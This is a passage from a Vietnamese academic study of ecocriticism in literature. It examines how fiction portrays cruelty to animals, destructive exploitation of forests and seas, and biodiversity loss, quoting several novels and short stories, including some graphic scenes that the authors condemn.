hệ”. Cách cư xử với loài vật cũng cho thấy sự vênh lệch trong lối sống, giữa cách sống
hồn nhiên, chất phác của bà mẹ chồng và cách sống kênh kiệu, khinh khỉnh của người
thành phố giàu có.
Người mẹ của anh chồng tiến sĩ trong truyện ngắn Những vùng trời của họ
đã nhắc nhở cho anh thấy rằng loài vật đã hi sinh thân xác để nuôi sống con người,
để họ lớn lên, nhưng con người lại vô ơn như thế nào: “Bà của Cẩu Già đẻ năm lứa
được cả thảy bốn mươi con. Rồi mẹ Cẩu Già đẻ năm lần cũng được bốn mươi con;
vị chi là tám mươi con. Bố mẹ anh làm lụng cộng với số tiền bán tám mươi con cẩu,
đủ để nuôi anh học hết phổ thông. Đến lượt con Cẩu Già cũng đẻ năm lần được
bốn mươi con. Bố mất rồi chỉ còn mẹ lam lũ làm lụng cộng với số tiền bán bốn
mươi con cẩu, đủ để nuôi anh ăn học vào đại học và làm tiến sĩ”. Người con trai là
tiến sĩ, ngoài việc ám chỉ sự thành đạt có lẽ nó còn hàm chứa một ẩn ý về trí tuệ
của con người, nhấn mạnh rằng con người càng có trí tuệ, càng lớn lên càng vô ơn
với tự nhiên.
75
Khi nói tới quyền của động vật, Elisabeth de Fontenay có đưa ra một lưu { rất
đáng lưu tâm “cần một quyền đặc thù đối với mỗi loài: ta không thể bảo vệ những con
bò cái theo cách bảo vệ những con gà mái”1
. Do vậy, phê bình sinh thái phản đối những
cách chăm sóc loài vật một cách phi sinh thái. Minu xinh đẹp (Nguyễn Thị Thu Huệ) là
một ví dụ. Cả gia đình đã có chế độ chăm sóc con chó cảnh như người, nhưng con vật
vẫn chết vì nó xa lạ với cách sống như vậy. Câu chuyện này cho thấy hai điều. Thứ nhất,
cái cách con người coi con vật cũng như mình là một cách lấy con người làm trung tâm,
điều này dẫn tới thảm họa cho loài vật. Thứ hai, con người coi con vật như một món
hàng, như một tài sản và anh ta yêu quý tài sản của anh ta chứ không phải anh ta yêu
quý con vật. Nhớ lại Vĩnh biệt Gunxarư (Aitmatov), gia đình ông Tanưbai cuống cuồng,
đau đớn như thế nào khi không chăm sóc được những con cừu mới đẻ. Cái tình thế đầy
đau đớn, tiếng kêu của vật, sự biểu hiện khát sữa thèm ăn… của con vật nhắc nhở con
người về một trách nhiệm nặng nề mà anh ta không làm tròn.
Con người nhận ra cái phi nhân nhất của mình thể hiện qua việc giết động vật.
Một loạt truyện về ăn các món ăn động vật bằng những cách thức man rợ (Lão Sìn và
con khỉ – Đào Hiếu, Quán “Mèo rừng” – Huznh Thạnh Thảo), món ná hàm (Đổi nghề –
Nguyễn Trí), món óc mèo tam thể (Nơi hoang dã đồng vọng – Sương Nguyệt Minh)… lấy
sự đau đớn của con vật là niềm vui thì thật ghê sợ. Những vị thực khách điềm nhiên ăn
món óc mèo xúc trực tiếp từ cái chỏm đầu bị phạt ngang của nó, còn con vật thì co rút
người lại vì đau đớn trong những tràng cười khả ố của họ khiến cho người đọc cảm thấy
kinh sợ với cái phần hoang dã, man rợ trong con người: “Chát. Dùi đục phang mạnh.
Miếng chỏm đầu con mèo trắng bay khỏi lưỡi tràng bạt sang loáng. Eo. Mèo trắng vẫn
kịp gào lên một tiếng. Rồi nước đái nó tức thì bắn vọt vào mặt ông chủ. Thân mèo co
rút, giật giật. Cả bốn thực khách cười hô hố. Ộc ộc. Rượu tràn ly. Bốn vị cầm bốn thìa
con múc. Mỗi lần thìa thọc vào óc con mèo, chân nó lại co lên” (Nơi hoang dã đồng
vọng, Sương Nguyệt Minh). Hay món đặc sản “óc khỉ trường sinh”: “Chỉ trong nháy mắt,
con khỉ chưa kịp đau chóp đầu đã được cắt rời thành hai mảnh, xung quanh rớm máu
đỏ hồng. “Đao phủ” dùng chiếc chụp nhấc mảnh đầu lên. Bộ óc còn nguyên lớp màng
trắng hồng chằng chịt những đường máu li ti phập phồng. Màn biểu diễn tuyệt hảo!
Những chiếc thìa đụng nhau “canh cách” tiếng hô “dô dô” hòa chung tiếng hét rên xiết
giãy đạp ùng ục dưới gầm bàn” (Lão Sìn và con khỉ, Đào Hiếu). Đôi khi, đáng buồn hơn,
việc sát hại tự nhiên không vì mục đính kinh tế hay nhu cầu mà đơn thuần chỉ là giải trí

1
Fontenay E. (2013), Khi con vật nhìn ta, Hoàng Thanh Thủy dịch NXB Tri Thức, Hà Nội.
76
“Họ kéo cá vào sát mạn tàu, đập chết nó, thả xác xuống nước và lại câu con khác, lại
quăng mũi câu có móc con mực nhỏ làm mồi ra xa mãi… Cứ như vậy. Họ câu không phải
để bắt cá ăn mà để hưởng một thú vui tàn sát… những chàng trai thừa tiền tìm cho
mình cái thú giết hại sinh linh” (Tôi đi câu cá, Bùi Ngọc Tấn).
Qua những tác phẩm viết về sự tàn sát đối với tự nhiên, các tác giả bộc lộ nỗi
âu lo về nhân tính con người: giết loài vật một cách thản nhiên (Mùa trâu ăn sương
của Sương Nguyệt Minh); vô cảm với muôn loài sẽ vô cảm với con người (Con thú
lớn nhất, Nguyễn Huy Thiệp). Khi con người không cảm nhận được nỗi đau của loài
vật, họ sẽ không cảm nhận được nỗi đau của đồng loại. Khi tàn sát tự nhiên, nếu
không biết giới hạn sẽ đẩy con người đến bản năng tàn sát. Tính (Thoạt kì thủy,
Nguyễn Bình Phương) là một người thích chém giết, từ nhỏ đã có thú vui giết các
con côn trùng, lấy các ngón tay di di những con kiến với một niềm thích thú ghê rợn.
Bản năng đó khiến hắn làm nghề đồ tể một cách say sưa, thích thú. Bản năng ấy đã
dẫn đến cái chết thương tâm của gia đình Hiền. Trong bản năng hiếu sát cuồng loạn,
Tính đã đốt nhà cô, thiêu cháy bố mẹ cô trong đó. Qua nhân vật này, tác giả cho
thấy phần tăm tối trong tâm hồn con người. Một người yêu thích say sưa với sự giết
chóc loài vật là một người lệch lạc trong nhân cách và có thể giết người. Dòng sông
Mía (Đào Thắng) cũng là một câu chuyện về nỗi âu lo về nhân tính. Lẹp sinh ra từ sự
trừng phạt của tự nhiên. Lão Chép, bố của Lẹp đòi giết đôi cá thần và bị cá thần quật
chết. Bản thân Lẹp là một người bơi lội giỏi, bắt cá giỏi. Một người dị thường, tàn sát
cá. Khi bản năng hiếu sát nổi lên, hắn đã giết em cô Bê lớn, hãm hiếp cô khiến cho cô
trở nên câm lặng, điên loạn. Cái ác lại có cơ hội khi gặp môi trường của nó: trong cải
cách ruộng đất, những người hiếu sát như Lẹp trở thành kẻ cầm cân nảy mực, điều
đó khiến cho xã hội trở nên đảo lộn, những người lương thiện rơi vào vòng đau khổ,
khốn quẫn.
Con người đã ứng xử một cách độc đoán như thể chỉ có mỗi loài người được
phép tồn tại trên trái đất vậy. Quả như lời khẳng định của Lăng (Chuyến đi cuối năm,
Đỗ Chu), vấn đề sinh thái không chỉ là vấn đề của việc con người nếm trải sự tác
động của môi trường đối với bản thân như thế nào mà còn là vấn đề tác động của
con người với tự nhiên ra sao: “Hóa ra vấn đề môi trường sinh thái lại là vấn đề quá
rộng lớn và cũng quá nan giải… Nó không phải chỉ là chuyện phân họ các loài chim,
cũng không phải chỉ là chuyện hiệu ứng lồng kính, sự sụt lở của tầng ôzôn trong khí
quyển hay các đại dương ô nhiễm hoặc các lục địa bị xói mòn cạn kiệt. Nó vẫn là
77
chuyện con người, là sự rồ dại khó bảo của giống người đang sống ở khắp nơi”.
1.2 Chiếm đoạt không gian hoang dã
Khai thác tận diệt tự nhiên
Trong văn học thế giới, chủ đề khai thác tự nhiên tận diệt đã được các nhà
văn ưu tư với thiên nhiên lưu tâm. Trong Tôtem sói (Khương Nhung), người Nội
Mông bắt rái cá bao giờ cũng chỉ khai thác những con trưởng thành, không bao giờ
giết những con cái, con còn nhỏ… để dành cho mùa sau, nhưng khi người Hán lên đã
tàn sát tất cả: rái cá, chó sói… biến thảo nguyên thành sa mạc. Tác phẩm Đoạn đầu
đài (Aitmatov) kể về việc người ta tàn hại tự nhiên bằng một cách thức rất tàn bạo:
để đạt được sản lượng của hợp tác xã, họ lùa tất cả các con thú từ lớn bé, to nhỏ, từ
con non đến con trưởng thành xuống vực sâu… để lột da. “Bài ca của ông già đi săn”
(Vĩnh biệt Gunxarư, Aitmatov) mà lão Tanưbai hát là một bài hát cổ cảnh báo con
người về sự trả đũa của tự nhiên đối với anh ta nếu như anh ta tàn sát tự nhiên.
“Anh đã hạ hết thú săn trong các vùng núi xung quanh. Những con mẹ bụng mang
dạ chửa, anh cũng không tha, thú nhỏ non nớt anh cũng không thương” cuối cùng
Con Dê xám già đã trừng phạt người thợ săn bằng cách nhử anh lên những vách núi
cheo leo không có đường lên, không có đường xuống, không thể tụt xuống, cũng
không thể nhảy xuống được. Dê cái xám bỏ anh ở đấy và nguyền rủa: “Suốt đời mi
sẽ không thoát khỏi nơi đây, không ai có thể cứu nổi mi. Bố mi sẽ phải khóc mi, như
ta đã khóc những đứa con của ta bị giết, khóc nòi giống của ta đã tuyệt diệt. Bố mi
sẽ phải khóc rống lên giữa những núi đá, một mình giữa chốn núi non lạnh lẽo, như
ta đang khóc rống lên đây, ta, Dê cái xám già nua, thủy tổ của loài dê”.
Cuộc cách mạng khoa học kĩ thuật đã đem đến cho con người nhiều tiện nghi
đồng thời cũng đẩy con người đến cuộc đối đầu trực tiếp với thiên nhiên. Những số
phận của rừng, của người gắn bó với rừng trong các truyện của Nguyễn Trí, Hoa Ngõ
Hạnh, Trần Duy Phiên… khắc phục tư tưởng “rừng vàng biển bạc” đã ngự trị một thời
rồi mặc sức khai thác nó mà không đếm xỉa gì đến việc phát triển bền vững.
Vì nhu cầu không có điểm dừng, con người đã bức tử rất nhiều những
cánh rừng “Một cảnh tượng khủng khiếp đập vào mắt tôi. Xác cây nằm la liệt trên
mặt đất. Rừng như một bãi chiến địa ngổn ngang xác người tử trận. Những thân gỗ
chồng chéo lên nhau lá cành như những cánh tay co quắp ẻo lả xoài ra trên mặt
đất. Người đi đến đâu, rừng lùi sâu đến đó. Những ngọn đồi ô trọc mọc lên như
nấm xuân theo sát chân rừng”. Tác động đến rừng còn bởi nạn khai thác vàng, việc
đào sâu vào lòng đất trong rừng nguyên sinh đã phá hủy nhiều diện tích rừng,
78
nghiêm trọng hơn, để làm khung cừ vững chắc để đi xuống đất, người ta đốn hạ
cây rừng “Cây rừng được tuyển đều đặn, hoành, ngang, dọc xếp lớp như mía” mà
phải là gỗ tốt “Phải là loại ván cực tốt như sao, sến, hoặc dầu đỏ cổ thụ. Thợ cưa
bỏ thép, chỉ lấy loại gỗ tinh tuyền” (Bãi vàng, Nguyễn Trí). Vì ước muốn chiếm hữu
không cùng “Nhà một tầng không ở hết vẫn muốn xây lầu; xa lông gõ vừa mua đã
muốn đổi hàng tiện trắc, cẩm lai; lâu đài giữa thành phố phải thuê người quét bụi
các phòng để trống, vẫn muốn xây thêm biệt thự ngoại ô; đã có vợ, còn muốn bao
“bồ nhí”; thậm chí đến cỗ “hậu sự” đưa con người trở về với cát bụi cũng thi nhau
đóng thật dày, gỗ thật tốt!”. Từ chỗ khai phá những cành củi đến lúc tàn phá cả
cánh rừng chỉ là phút chốc “khu rừng Yên Ngựa còn phủ kín vùng đồi mà nay là
nghĩa trang làng Sim… thoạt đầu thì cũng chỉ vài người bẻ dăm ba cành khô về làm
củi; khi cành khô hết thì bẻ cành tươi về phơi, hết cành nhỏ bằng ngón chân ngón
tay thì chặt cây bằng bắp vế; những tốp người vào rừng cũng đông vui hơn! Thế là
từng khoảnh rừng bị cạo trọc” (Thập giá giữa rừng sâu, Nguyễn Khắc Phê).
Không chỉ rừng, biển cũng bị con người vơ vét cho cạn kiệt. Biển và chim bói cá
của Bùi Ngọc Tấn viết về một xí nghiệp đánh cá quốc doanh, về những con người vừa
can đảm vừa ranh mãnh vật lộn vơ vét biển đến cạn “ngư trường ngày càng ít cá, càng
đánh càng lỗ” để nuôi sống gia đình. Nhưng rồi cuối cùng nhọc nhằn nhận ra không
một tài nguyên nào của hành tinh xanh này không cạn kiệt “mấy chục năm nay chà đi
xát lại, vịnh Bắc Bộ có còn như trước nữa đâu. Nghề lưới vét là một nghề tàn phá môi
trường, khai thác có tính hủy diệt, gần như chẳng còn nước nào duy trì”.
Sự tác động một cách thiếu bền vững, khai thác tận diệt tự nhiên đã khiến cho
tài nguyên cạn kiệt, kéo theo rất nhiều hệ lụy dài lâu về mặt sinh thái. Cách khai thác
lồ ô (Tiền rừng, Nguyễn Trí) là một cách tàn sát rừng như vậy “chỉ được đốn cây ba
năm tuổi trở lên, đằng này dân khai thác làm sạch”, không những không trừ lại những
cây chưa đến tuổi khai thác, khai thác xong người ta đốt cây lồ ô để kích thích mọc
nhanh nhưng kết quả là “vài năm sau chiêu thức đó phản tác dụng. Lồ ô mới một năm
tuổi đã có bông, nó héo úa còi cọc, rồi rũ chết, từng vạt rừng vài ba chục hecta lụi tàn.
Hai Lẻ Sáu xác xơ theo… Đất bớt lành nên chim lũ lượt bay”. Rồi sang vạt rừng khác.
Rồi lại tận diệt như vậy. Chỉ quan tâm đến món lợi, con người khai thác một cách phi
sinh thái. Quả ươi khi chín có cánh bay theo gió “Người ta cứ chờ ươi chín, gió thổi
bay đi… Trái ươi bằng đốt ngón tay út, dính vào một đài lá bằng bàn tay. Khi chín, gió
thổi nó bay như hoa dầu”, nhặt những trái ươi bay là cách tốt nhất, thì lại khai thác
kiểu tận diệt “Dân vai u thịt bắp cứ năm sáu thằng một băng, lội suối băng rừng, vô cả
rừng cấm tra rìu vô cây ươi. Cây ngả xuống là khô, tươi, dốt dốt, vặt sạch đem phơi…”
79
(Chuyện cũ từ rừng, Nguyễn Trí). Những gì còn lại sau những cuộc đi săn phía sau nhà
người thợ săn được cụ thể bằng hình khối chất ngất, ghê gớm “lông chim, xương thú
chất đầy thành đống. Những đống lông chim xơ xác đen xỉn màu mực tàu, còn những
đống xương thú màu đá vôi thì lốm đốm những vệt nước tủy vàng khè, hôi hám” (Con
thú lớn nhất, Nguyễn Huy Thiệp). Người thợ săn vô cảm bắn giết hết các loài thú trong
rừng, thậm chí cả những loài rất đẹp “Lão không tha bất cứ con vật nào trong tầm
súng của mình. Có người kể rằng đã tận mắt nhìn thấy lão bắn chết một con công
đang múa”. Ngôi nhà của Dần “các hàng cột đều có gạc nai, nanh lợn rừng, sừng sơn
dương…” (Nghiệp rừng, Triệu Hoàng Giang)
Chống lại bản mệnh tự do của tự nhiên một cách bạo ngược, con người ta phải
trả một cái giá thật đắt. Bảy Tình (Tiền rừng, Nguyễn Trí) làm ăn thất bát “Trong một
năm, chỉ một năm, rừng lấy lại của Bảy tất cả những gì mà trước đây rừng hào phóng
ban tặng”, Tư Được về phố không có công ăn việc làm vì “lộc rừng hết thì te tua thôi” ,
“khai thác kiểu tàn sát thì chỉ ra sa mạc”. Lão thợ săn (Con thú lớn nhất, Nguyễn Huy
Thiệp) đã nếm trải cảm giác thú rừng bị tiêu diệt hết, lão không bắt được con chim nào,
bắn nhầm vào người vợ của mình và tự trừng phạt bằng viên đạn xuyên trán “Cuối năm
ấy, ở Hua Tát động rừng, cây cối xơ xác, chim chóc trốn biệt, không có dấu chân một
con thú nào trong rừng. Chưa bao giờ người Hua Tát sống vất vả đến thế. Người ta đồn
là Then bắt đầu trừng phạt. Lão thợ săn ngụ cư kiếm ăn cũng rất khó khăn… Ba ngày
sau, người ta lôi cái xác còng queo của lão ra khỏi bụi cây. Một vết đạn xuyên qua trán
lăo. Lăo đã bắn được con thú lớn nhất đời mình”.
Nguyên tắc cốt lõi của sinh thái học là niềm tin rằng môi trường sống cần
được tôn trọng, cần có quyền phát triển độc lập với lợi ích thực dụng của con
người. Khai thác tự nhiên đến cạn kiệt, tận diệt như vậy thì con người là những kẻ
đầu tiên phải hứng chịu sự trừng phạt, đói nghèo càng gia tăng, sự bất công càng
gia tăng và những hậu quả dài lâu về môi trường càng gia tăng. Tự nhiên có một sự
cân bằng tinh tế của nó, nếu tác động vào một yếu tố của chỉnh thể ấy sẽ làm mất
cân bằng sinh thái. Đó là đầu mối của những tai họa. Khi chúng ta phát triển kinh tế
mà bỏ qua các lợi ích về môi trường, thiếu sự chăm sóc, thiếu sự phát triển bền
vững, những sáng tác của Nguyễn Trí, Trần Duy Phiên, Hoa Ngõ Hạnh, Bùi Ngọc
Tấn… đưa ra một lời cảnh tỉnh đầy nghiêm khắc, nếu con người cứ trượt dài trên
con đường chinh phục, đối xử với tự nhiên như một kẻ trấn lột mà không học cách
hợp tác và phát triển bền vững con người sẽ là kẻ hứng chịu. Các tác phẩm đặt ra
vấn đề mà phê bình sinh thái muốn cảnh tỉnh: cách chúng ta đối xử bạc bẽo với tự
80
nhiên sẽ bị chính cách đối xử bất công với tự nhiên đó phản lại. Tư tưởng này gợi
nhớ đến lời nhắc nhở của J. Rousseau “Tất cả đều tốt đẹp trong bàn tay của tạo
hoá bước ra, tất cả đều thoái hoá đi trong bàn tay của con người”1
.
Suy giảm đa dạng sinh học
Việc gia tăng sản xuất và khai thác tài nguyên đang đe dọa đến tình trạng đa
dạng sinh học. Theo thống kê của Hiệp hội Quốc tế về Bảo tồn Thiên nhiên, có hơn
5000 loài đã bị đưa vào danh sách có nguy cơ tuyệt chủng và con số đó vẫn chưa
dừng lại. Jacques Vernier cho rằng “hơn nửa tổng diện tích rừng nhiệt đới đã và
đang bị phá hủy”2
, nhiều hơn các loài được đưa vào sách đỏ, nhiều hơn những loài
trong sách đỏ bị tiêu diệt… Với cách săn bắn khủng khiếp như vậy, con người bị
thiên nhiên trả thù bằng chính sự biến mất của chính nó, đặt con người trước những
thảm họa khi đánh mất tự nhiên. “Vào thế kỉ XVI, người ta ước tính rằng cứ 100 năm
chúng ta mất đi một loại động vật; năm 1900, mỗi năm ta mất đi một loài, và đến
ngày nay người ta cho rằng ít ra mỗi ngày chúng ta mất một loài”3
. Thiết nghĩ, không
chỉ các nhà khoa học tự nhiên lên “kế hoạch hành động về đa dạng sinh học” mà các
nhà nhân văn cũng đưa ra những cảnh tỉnh đầy cấp thiết. Điều này sẽ làm ảnh
hưởng đến sự tồn vong của trái đất, vậy thì văn học quan tâm đến sự sống lẽ nào
nằm ngoài điều đó. Mỗi cá thể sinh vật cung cấp cho nhân loại những giá trị trí tuệ
mà sự mất đi của nó sẽ vĩnh viễn không có hình thức thay thế. Có vô số thư viện
phong phú của tự nhiên mất đi vì những lợi ích kinh tế trước mắt, vì sở thích và nhu
cầu tham lam. Vậy là, nhiều thư viện trên thế giới đang ngày một mất đi nhưng vẫn
chưa có phương thức toàn diện nào có thể ngăn chặn được điều đó.
Bảo tồn hình thức đa dạng của sự sống vì những tuyệt phẩm của núi rừng biến
mất. Daisaku Ikeda đã nói trong Tiếng chuông cảnh tỉnh cho thế kỉ XXI rằng “hủy hoại
hình thể của sự sống, chúng ta phạm phải một tội ác lớn hơn là đốt cháy các thư viện,
bởi vì việc làm đó sẽ hủy diệt vĩnh viễn một nguồn thông tin không ở đâu có, ngoài
hình thức ưu việt của thiên nhiên kia”4
. Sự đa dạng sinh học trong tự nhiên biểu hiện

1 Theo Lê Nguyên Cẩn (2000), “Cách nhìn nhận thế giới tự nhiên của Lão Tử và J.J. Rousseau”, Đạo gia và văn hóa,
NXB Văn hóa Thông tin, Hà Nội, 199- 213, tr 200.
2 Vernier J. (2002), Môi trường sinh thái, Trương Thị Chí, Trần Chí Đạo dịch, NXB Thế giới, Hà Nội, tr 123.
3 Vernier J. (2002), Môi trường sinh thái, Trương Thị Chí, Trần Chí Đạo dịch, NXB Thế giới, Hà Nội, tr 112.
4
Ikeda D. và Peccei A. (1993), Tiếng chuông cảnh tỉnh cho thế kỉ XXI, Trương Chính, Đông Hà dịch, NXB Chính trị
quốc gia, Hà Nội, tr 31.
81
sự phong phú về số lượng nguồn sống trên hành tinh. Các nhà sinh vật học cho rằng,
mỗi thành viên của mỗi loài sinh vật là một cá thể và mỗi cá thể đều thực hiện các
chức năng sinh lí cơ bản của mình. Người ta khai thác luôn cả những loại cây được ghi
trong sách đỏ như cây nu, một tuyệt phẩm của núi rừng “Nó đẹp mê hồn. Tao chả tin
một họa sĩ nào, tầm tưởng tượng cao thấu trời cũng không vẽ nổi một bức tranh toàn
hảo như mẹ thiên nhiên sau vài nghìn năm tồn tại” (Tiền rừng, Nguyễn Trí). Khi xẻ cây
lát da, cây đại thụ được mệnh danh là “cột chống trời” ra “từng khúc gỗ rộng bản
đông đặc như miếng tiết, nạc như khoanh giò lụa được bong ra, mới chỉ qua đường
cưa đi mà vân gỗ đã nổi lên đẹp chưa từng thấy bao giờ… hoa gỗ lồng lộng nở rực rỡ
như một cái đuôi công xòe ra” (Thung Mơ, Hà Nguyên Huyến). Cuối cùng cũng bị hạ
xuống thành tám mươi tấm ván dày tám li.
Tự nhiên còn có giá trị chữa bệnh. Theo Jacques Vernier, có hàng ngàn cây cỏ
được dùng trong nền y học cổ truyền “80 % dân số các nước đang phát triển sử dụng
những chất có trong thiên nhiên để chữa bệnh … thế giới sinh vật là một “tủ thuốc”
khổng lồ”
1
. Cây ươi, một loại cây quý giá của rừng “Giá trị của nó như vàng vậy (…) Chỉ
có mấy ông thầy thuốc biết rõ. Bình thường chỉ làm thức uống giải nhiệt. Bị táo bón
chỉ cần làm một li là khỏi” (Chuyện cũ từ rừng, Nguyễn Trí). Lại là một loại cây rất hiếm
vì tuổi để ra trái khá lâu “Loại trái này ở rừng miền Đông vài ba năm mới có một lần,
còn ở miệt Bình Định, Phú Yên trên chục năm mới có trái. Cây của nó tầm cổ thụ hai
người ôm mới giáp vòng là loại nhỏ”. Những câu chuyện này như những lời cảnh tỉnh
đầy tha thiết với rừng, với những giá trị của tự nhiên “Hơn một phần ba giống loài
trên trái đất đang bị đe dọa vì bị khai thác quá mức”2
.
Giữ đa dạng sinh học còn để cân bằng hệ thống sống trên toàn bộ sinh
quyển. Thế giới tự nhiên có một sự cân bằng tinh tế mà nếu tác động vào sẽ để lại
những hậu quả dài lâu về sinh thái do đánh mất đa dạng sinh học. Tiêu diệt muôn
loài vì nghĩ rằng chúng phá hoại “trận tàn sát kinh thiên động địa kinh khủng đâu có
thua cuộc đại hồng thủy tiêu diệt hoàn toàn lũ khủng long khổng lồ, hiển nhiên là sẽ
dẫn đến họa diệt chủng, tuyệt diệt hết giống nòi” (Bà cụ Cần và đàn chim sẻ, Ma Văn
Kháng). Không nhận thức đầy đủ vai trò của mỗi sinh mệnh với tự nhiên, con người
đã có những chính sách phá hủy hệ sinh thái và thiếu công bằng với tự nhiên: “tiêu

1Vernier J. (2002), Môi trường sinh thái, Trương Thị Chí, Trần Chí Đạo dịch, NXB Thế giới, Hà Nội, tr 115.
2Vernier J. (2002), Môi trường sinh thái, Trương Thị Chí, Trần Chí Đạo dịch, NXB Thế giới, Hà Nội, tr 119.
82
diệt chim sẻ vì chúng ăn lúa mà không nhận thấy chim sẻ bắt sâu cho mùa màng, “bẻ
cổ vịt để tiết kiệm lúa” mà quên mất ăn vịt hay lúa đều no… (Chim phóng sinh,
Nguyễn Hồ). Thực chất, tự nhiên có sự cân bằng sinh thái. Loài này là kẻ thù, loài kia
là thiên địch. Trong Dòng sông Mía của Đào Thắng, những con chim mía bay về rợp
trời, sà xuống bắt hết những con sâu gặm nhấm những cây mía đang độ ngọt ròng.
Cuộc sống trong tự nhiên là một vòng tuần hoàn sinh hóa “Con ve sầu đang bị con
bọ ngựa rình ăn thịt. Nhưng con bọ ngựa đâu có biết nó đang bị con chim sẻ sắp bắt
làm mồi. Trong khi đó, con chim sẻ đâu có biết một gã đi săn đang giơ súng ngắm
nó. Nhưng cuối cùng, ác hại chưa, gã đi săn ngu đần quá vì không biết có con cọp
đang sắp vồ mình” (Bà cụ Cần và đàn chim sẻ, Ma Văn Kháng). Phá vỡ vòng sinh thái
tuần hoàn, con người phải chịu thua thiệt. “Nhưng sau khi rời bỏ rừng sâu tiến về
đồng bằng xây nên những trung tâm vãn hóa, chúng ta đã quay lưng lại, đã phũ
phàng độc ác với rừng sâu. Chúng ta đã tàn hủy cái nôi sinh ra mình. Chúng ta săn
bắn, tiêu diệt các sinh vật còn nương tựa vào rừng, mà ngu ngốc không hiểu rằng
chúng ta đã tàn hủy tự nhiên và phá hoại thế cân bằng sinh thái. Các sinh vật, dữ và
lành, tồn tại được nhờ rừng rậm. Rừng rậm tồn tại và phát triển được cũng đã nhờ
sự sinh sôi của muông thú. Và cuối cùng, nếu muông thú và rừng rậm không tồn tại
nữa, thì làm sao chúng ta có thể tồn tại được” (Con thú bị ruồng bỏ, Nguyễn Dậu).
Nguyễn Ngọc Tư cảnh báo “Con người hủy hoại thiên nhiên bằng cách hạ
nhục nó. Thiên nhiên trả thù bằng cách nó biến mất”. Trong tác phẩm có tính chất
luận đề Khói trời lộng lẫy, thông qua những cảnh báo về việc con người đã biến
thiên nhiên thành đại công trường, khu công nghiệp, nhà ở, thành phố… “xua đuổi
thiên nhiên đi xa”, “hạ nhục tự nhiên”, can thiệp thô bạo vào vẻ đẹp nguyên sơ,
Nguyễn Ngọc Tư rung những hồi chuông cảnh tỉnh “Đồng cỏ bạn đang dạo chơi
một ngày kia sẽ biến mất. Dòng sông bạn đang tắm một ngày kia sẽ biến mất.
Tiếng chim hót ban mai một ngày kia sẽ biến mất”. Khác với Đoàn Giỏi trong Đất
rừng phương Nam là tình yêu thiên nhiên hòa lẫn vào tình yêu đất nước, các nhân
vật của Nguyễn Ngọc Tư mang tâm thế của con người thời hiện đại bị văn minh
dồn đuổi, nhận ra sự mất mát của tự nhiên. Thiên nhiên bị hi sinh cho những mục
đích thực dụng của con người. Quá trình Di nhận công việc ở Viện Di sản thiên
nhiên và con người với một tâm trạng hào hứng nhiệt tâm (Di đã cố để níu giữ
những vẻ đẹp trên cõi đời này, háo hức vì những vẻ đẹp được cất giữ trong Viện)
đến khi rời bỏ công việc là quá tsnh thức nhận của nhân vật: từ cái nhìn lí tưởng
83
hóa sang cái nhìn đầy tỉnh táo về thực tế: con người bức tử tự nhiên rồi lại tự an ủi
mình bằng những hình thức lưu giữ đầy giả tạo thế giới tự nhiên. Di nhận thấy
những vẻ đẹp bị nhốt trong Viện là những vẻ đẹp chết, không có sinh sắc của sự
sống. Lắng nghe tiếng kêu cứu từ tự nhiên, Di và những kẻ mê đắm thiên nhiên
trong Viện Di sản thiên nhiên và con người như Nhứt, Trúc, “Anh” đều có “cảm
giác mất mát thật rõ ràng”; “Những vẻ đẹp được nhốt trong phòng lưu giữ của
Viện là những tiếng kêu thét tuyệt vọng, bất lực trước mất mát, sự run rẩy của nỗi
buồn, bởi quá nhiều thứ ta không bao giờ thấy lại ngoài đời”, bởi ở đó là tiếng gọi
khẩn thiết về sự biến mất dần của vẻ đẹp tự nhiên, là “sự níu kéo vô vọng”. Chị
Trúc đưa đơn xin thôi việc khi vùng đất Thổ Sầu “người ta bắt đầu tới vùng thảo
nguyên Thổ Sầu xới tung nó lên khai thác quặng, nơi đó biến thành một đại công
trường”. “Anh” bồn chồn, bối rối, sốt ruột vì “cánh rừng hai trăm năm tuổi… Năm
sau, người ta sẽ san phẳng chúng và trồng lên một khu công nghiệp lớn nhất
nước”.
Lời cảnh tỉnh này được Nguyễn Ngọc Tư phát biểu rõ hơn qua tiểu thuyết
Sông về dân tộc Đào, một dân tộc hùng mạnh trên cao nguyên Thượng Sơn đã bị
diệt vong: “Thương lái Hoa Bắc mua bất cứ thứ gì nơi này có. Từ bụi cỏ sa lệ cao
chỉ bằng ngón tay cho đến những thân gỗ nghiến giữa đại ngàn… Đất đá. Vật dụng.
Cây cỏ… Giờ thì người Đào bán đến cả nội tạng và trẻ con”, “Sự tàn rã lặng lẽ phủ
lên cái mặt đất lởm khởm những hang hốc, trơ trụi không có bóng cây, thưa vắng
người”, “giữa vùng Thượng sơn mà không nghe thấy tiếng thú rừng táo tác trong
đêm. Có lẽ chúng cũng bị săn bán”. Như một ẩn dụ về thế giới của loài người: khi
người ta chỉ sống ích kỉ, biếng nhác, coi tự nhiên chỉ là nguồn lợi để phát triển kinh
tế (chỉ chăm chăm để bán), là đối tượng để bóc lột thì tất yếu sẽ diệt vong. Điều
này cũng đã từng xảy ra với nhiều nền văn minh trên thế giới. Một số nhà khoa học
giả thuyết rằng các nền văn minh Maya, nền văn minh Mesopotamia, nền văn
minh Crete… đã tiêu vong vì nạn phá rừng (để xây dựng các thành phố, đóng
thuyền bè…) dẫn tới việc khí hậu trở nên khắc nghiệt và dẫn tới diệt vong.
Thiên nhiên, cái tưởng như vĩnh hằng cũng dễ bị thương tổn như thế nào và
thực chất rất mong manh. Do vậy, những tác phẩm văn xuôi sinh thái thời kì này đã
nhận thức được bản chất sinh thái bị bao vây, bị nhân tính hóa và do đó, dễ bị thương
tổn của tự nhiên, phê bình sự nóng lên toàn cầu đề cao những văn bản mà theo cách
84
nói của Bate, khiến cho chúng ta “suy nghĩ về sự mong manh”1
của trái đất.
2.Ý THỨC VỀ CON NGƯỜI NẠN NHÂN TRONG MỐI QUAN HỆ VỚI TỰ NHIÊN
Phê bình sinh thái hoài nghi Thuyết con người trung
tâm (Anthropocentrism) bằng cách chỉ ra rằng tự nhiên cũng có địa vị của nó: “Mặc
dù con người đã bỏ ra bao nhiêu nỗ lực để giữ cho mình cái địa vị thống trị, thì có
phải tự nhiên chỉ mang một thân phận lệ thuộc hay không khi thực sự chúng ta đã
và đang tiếp tục được nó nhắc nhở lại về một thứ địa vị thực sự thông qua mỗi
trận động đất, mỗi lần núi lửa phun trào, những ngôi sao chổi vụt qua, cũng như
việc không ai có thể dự đoán được một cách chính xác sự thay đổi thất thường của
thời tiết”2
.
2.1 Số phận con người trong những thảm họa tự nhiên
Văn học thế giới đã có rất nhiều tác giả đề cập đến chủ đề sự nếm trải của
